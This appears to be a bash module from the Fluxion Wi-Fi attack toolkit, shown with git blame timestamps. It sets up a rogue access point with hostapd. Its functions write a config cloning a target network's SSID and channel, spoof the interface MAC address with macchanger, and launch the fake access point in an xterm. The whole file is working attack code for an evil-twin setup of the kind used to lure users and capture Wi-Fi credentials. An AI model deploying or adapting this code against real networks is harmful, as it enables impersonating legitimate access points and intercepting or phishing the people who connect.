2017-08-08 11:40:32 -06:00
|
|
|
#!/bin/bash
|
|
|
|
|
|
|
|
VIGW=$WIAccessPoint
|
|
|
|
VIAP=$WIAccessPoint
|
|
|
|
|
|
|
|
#APServiceAuthenticationMethods=("hash")
|
|
|
|
#APServiceAuthenticationMethodsInfo=("(handshake, recommended)")
|
|
|
|
|
|
|
|
# HostAPD sets the virtual interface mode
|
|
|
|
# to master, which is supported by dhcpd.
|
|
|
|
VIAPAddress=$VIGWAddress
|
|
|
|
|
|
|
|
function ap_stop() {
|
|
|
|
killall hostapd &> $FLUXIONOutputDevice
|
|
|
|
|
|
|
|
local FLUXIONAPService=$(ps a | grep -e "FLUXION AP Service" | awk '{print $1'})
|
|
|
|
if [ "$FLUXIONAPService" ]; then
|
|
|
|
kill $FLUXIONAPService &> $FLUXIONOutputDevice
|
|
|
|
fi
|
|
|
|
}
|
|
|
|
|
|
|
|
function ap_reset() {
|
|
|
|
ap_stop
|
|
|
|
|
|
|
|
# Reset MAC address to original.
|
|
|
|
ifconfig $VIAP down
|
|
|
|
sleep 0.4
|
|
|
|
|
|
|
|
macchanger -p $VIAP &> $FLUXIONOutputDevice
|
|
|
|
sleep 0.4
|
|
|
|
|
|
|
|
ifconfig $VIAP up
|
|
|
|
sleep 0.4
|
|
|
|
}
|
|
|
|
|
|
|
|
function ap_route() {
|
|
|
|
echo "No custom routes for hostapd" > $FLUXIONOutputDevice
|
|
|
|
}
|
|
|
|
|
|
|
|
function ap_prep() {
|
|
|
|
ap_stop
|
|
|
|
|
|
|
|
# Prepare the hostapd config file.
|
|
|
|
echo "\
|
|
|
|
interface=$VIAP
|
|
|
|
driver=nl80211
|
|
|
|
ssid=$APTargetSSID
|
|
|
|
channel=$APTargetChannel\
|
2017-08-12 21:36:36 -06:00
|
|
|
" > "$APRogueMAC-hostapd.conf"
|
2017-08-08 11:40:32 -06:00
|
|
|
|
|
|
|
# Spoof virtual interface MAC address.
|
|
|
|
ifconfig $VIAP down
|
|
|
|
sleep 0.4
|
|
|
|
|
|
|
|
macchanger --mac=$APRogueMAC $VIAP &> $FLUXIONOutputDevice
|
|
|
|
sleep 0.4
|
|
|
|
|
|
|
|
ifconfig $VIAP up
|
|
|
|
sleep 0.4
|
|
|
|
}
|
|
|
|
|
|
|
|
function ap_start() {
|
2017-08-12 21:36:36 -06:00
|
|
|
xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APRogueMAC-hostapd.conf" &
|
|
|
|
|
|
|
|
# Wait till hostapd has started and its virtual interface is ready.
|
|
|
|
while [ ! $(ps a | awk '$5~/^hostapd/ && $0~/'"$APRogueMAC-hostapd.conf"'/{print $1}') ]
|
|
|
|
do sleep 1
|
|
|
|
done
|
|
|
|
|
|
|
|
ap_route
|
2017-08-08 11:40:32 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
# FLUXSCRIPT END
|